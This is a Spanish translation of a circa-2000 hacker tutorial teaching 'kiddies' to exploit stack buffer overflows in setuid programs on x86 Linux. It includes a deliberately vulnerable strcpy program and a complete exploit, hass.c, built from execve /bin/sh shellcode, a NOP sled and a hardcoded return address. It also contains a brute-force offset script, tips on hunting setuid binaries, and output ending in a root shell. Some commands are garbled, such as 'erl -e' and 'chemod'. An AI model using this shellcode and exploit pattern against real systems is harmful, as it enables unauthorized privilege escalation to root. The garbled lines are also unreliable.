/* translated by honoriak thz to teleh0r for letting me translate and publish this text in spanish */ -- buffer overflows para 'kiddies' (chavalotes) (plataformas x86) -- http://teleh0r.cjb.net =========================================================== ---\ Introduccion \ Tu has leido todas las guias sobre buffer overflows y no has sacado nada en limpio. No te preocupes, ahora vas a poder leer la unica guia que necesitas! Ehh, esto no es asi verdaderamente - pero este manual es un buen comienzo. Si quieres aprender esto bien, lee el articulo de aleph one en phrack, revista numero 49, articulo numero 14 (http://www.phrack.com) o tambien la traduccion al castellano en http://julianor.tripod.com/smashing/P49-4-Smashing_the_stack-Spanish.txt Nota: Si, esto es para 'kiddies'. Por que? Me gusta cuando hay un nuevo exploit en packetstorm - y quien tiene mas tiempo para comprobar programas 'explotables'? Los chavales! ---\ Encontrando programas para 'explotar' \ Lo primero que necesitas encontrar es un programa que puedas 'explotar', debe tener unos privilegios especiales, sino seria una perdida de tiempo intentar 'explotarlo'. Ten en cuenta que un programa que no es setuid, o setgid.. por ejemplo slackware debe ser setuid en redhat. Para hacer esta tarea mas simple, haz una busqueda de todos los programas setuid/setgid que existen en tu distribucion. Si necesitas ayuda con eso, y problablemente la necesitaras - encontes visita packetstorm y en el directorio de los exploits-9901, baja mother2.sh. [root@localhost teleh0r]# ./mother2.sh * mother2.sh by: syg @ EFnet * * Usage: ./mother2.sh [root@localhost teleh0r]# ./mother2.sh setuid setgid * mother2.sh by: syg @ EFnet * * setuid-OutPutFile -> setuid * setgid-OutPutFile -> setgid * * Now scanning /* for setuid... * * setuid scan done... * * Now scanning /* for setgid... * * setgid scan done... * * mother2.sh complete... * Check setuid and setgid [root@localhost teleh0r]# ls setgid setuid setgid setuid Despues echa un vistazo a la lista, debe haber una para setuid y otra para setgid. ---\ Un ejemplo real \ Ok, el momento para un ejemplo. He escrito un reducido programa que es 'explotable' a traves de un buffer overflow. Copia la KIDVULN sin verificar los saltos. (strcpy es realmente peligroso! ;) Ok, veamos como podemos 'explotar' esto, eso es lo que quieres, no? Primero compila el codigo que esta justo debajo. (gcc -o kid kid.c) -------\ kid.c \ #include int main() { char kidbuffer[1024]; if (getenv("KIDVULN") == NULL) { fprintf(stderr, "Grow up!\n"); exit(1); } /* Mete los datos de la variable de entorno en el buffer */ strcpy(kidbuffer, (char *)getenv("KIDVULN")); printf("La variable de entorno KIDVULN es:\n\"%s\".\n\n", kidbuffer); printf("No es la vida maravillosa en una guarderia?\n"); return 0; } -------\ Para hacerte sentir extra-elite, como root haz chemod kid u+s, y situa el programa en el directorio /bin. Ahora comencemos con el 'exploit'. [root@localhost teleh0r]# export KIDVULN=erl -e '{print "A"x"1030"}' [root@localhost teleh0r]# /bin/kids Environment variable KIDVULN is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA.... No es la vida maravillosa en una guarderia? Segmentation fault (core dumped) [root@localhost teleh0r]# gdb -c core /bin/kids GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by /bin/kids'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x4000af9a in _dl_sysdep_output (fd=2, msg=0x40108f8b
) at dl-misc.c:95 95 dl-misc.c: No such file or directory. (gdb) info register esp esp 0xbffff720 -1073744096 (gdb) quit Primero use 1030 A's porque eso es lo que necesito. Mira el codigo, sabemos que kidbuffer puede ser de 1024 bytes como maximo. (char kidbuffer[1024];) Ok, ahora tu tienes que conseguir lo que necesitas para 'explotar' este programa. Tienes las dimensiones y intentaremos usar esp como direccion de retorno de nuestro exploit. No te preocupes, he escrito un exploit para que puedas usar en muchos casos, y te mostrare lo que cambiar para hacer que funcione en todos los casos. Ok, asi que tenemos: RET=0xbffff720 // (direccion de retorno) LEN=1030 // (dimensiones del buffer) Cambia esto en el exploit que he escrito debajo, y despues el comienzo del exploit parecera algo como esto: -------\ #include /* teleh0r's own k-rad shellcode! */ char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh"; #define NOP 0x90 #define LEN 1030 #define RET 0xbffff720 // Redhat 6.2 (Zoot) // encontraras el exploit completo al final... -------\ Ahora por fuerza bruta haremos esto, y para lo que usaremos este simple shell script. -------\ bah.sh \ #!/bin/sh NUMBER=-5000 until [ "$NUMBER" -gt "5000" ]; do ./hass $NUMBER echo "Usando este offset : $NUMBER" # > file NUMBER=$[$NUMBER+5] done -------\ Ejecuta este script, y si tu terminal se jode, imprime el offset en un fichero, y como otro usuario, catealo cuando el exploit salte a una shell. [root@localhost /root]# ./bah.sh - (c) 'teleh0r@doglover.com' anno 2000 - Use : ./hass [offset] Using: address 0xbffff34c La variable de entorno KIDVULN es: " k^ 1A F F 0 s V I 1U X@I h\???/bin/sh??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8 No es la vida maravillosa en una guarderia? bash# -------\ Despues reemplaza la antigua direccion de retorno con el nuevo RET que el exploit te ha dado - asi lo tenemos por fuerza bruta - asi que el nuevo RET=0xbffff34c [root@localhost teleh0r]# ./hass - (c) 'teleh0r@doglover.com' anno 2000 - Use : ./hass [offset] Using: address 0xbffff34c La variable de entorno KIDVULN es: " k^ 1A F F 0 s V I 1U X@I h\???/bin/sh??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??L No es la vida maravillosa en una guarderia? bash# wh0a! lo hice, lo hice! --\ Programas que necesitaras \ Tu puedes usar mis codigos libremente, pero no tienes que adjuntar ningun tipo de credito. Como conseguir la shellcode? Puedes tambien usar un "generador de shells", que te hara el shellcode para ti. "execve-shell.tar.gz" el cual puedes conseguir en la pagina de teso esta muy bien y es facil de usar (http://teso.scene.at/) Otro programa bueno que puedes probar hoy en dia, es un script en perl llamado getenv.pl hecho por v9@fakehalo.org. Deberia poderse encontrar esta aplicacion en packetstorm. Y desde luego, el exploit usado por ejemplo. -------\ hass.c \ /* ** ** ** -- INSERT K-RAD GREETZ HERE! -- ** ** y0y0y0y0! ** hecho como ejemplo usado en este texto. (kid.c) ** Si por alguna razon no va, intentalo por fuerza bruta! */ #include /* teleh0r's own k-rad shellcode! */ char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh"; #define NOP 0x90 #define LEN 1030 #define RET 0xbffffc10 // Redhat 6.2 (Zoot) void main(int argc, char *argv[]) { char buffer[LEN]; long retaddr, offset; int i; offset = 0; if (argc > 1) { offset = atol(argv[1]); } retaddr = RET + offset; printf("\n- (c) teleh0r@doglover.com anno 2000 -\n"); printf("Use : %s [offset] \n", argv[0]); printf("Using: address 0x%lx\n\n", retaddr); for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = retaddr; for (i = 0; i < (LEN - strlen(codez) - 100); ++i) *(buffer + i) = NOP; memcpy(buffer + i, codez, strlen(codez)); setenv("KIDVULN", buffer, 1); execl("/bin/kid", "kid", 0); return 0; } -------\ */ translated finished Sat Dec 2 01:58:18 CET 2000 */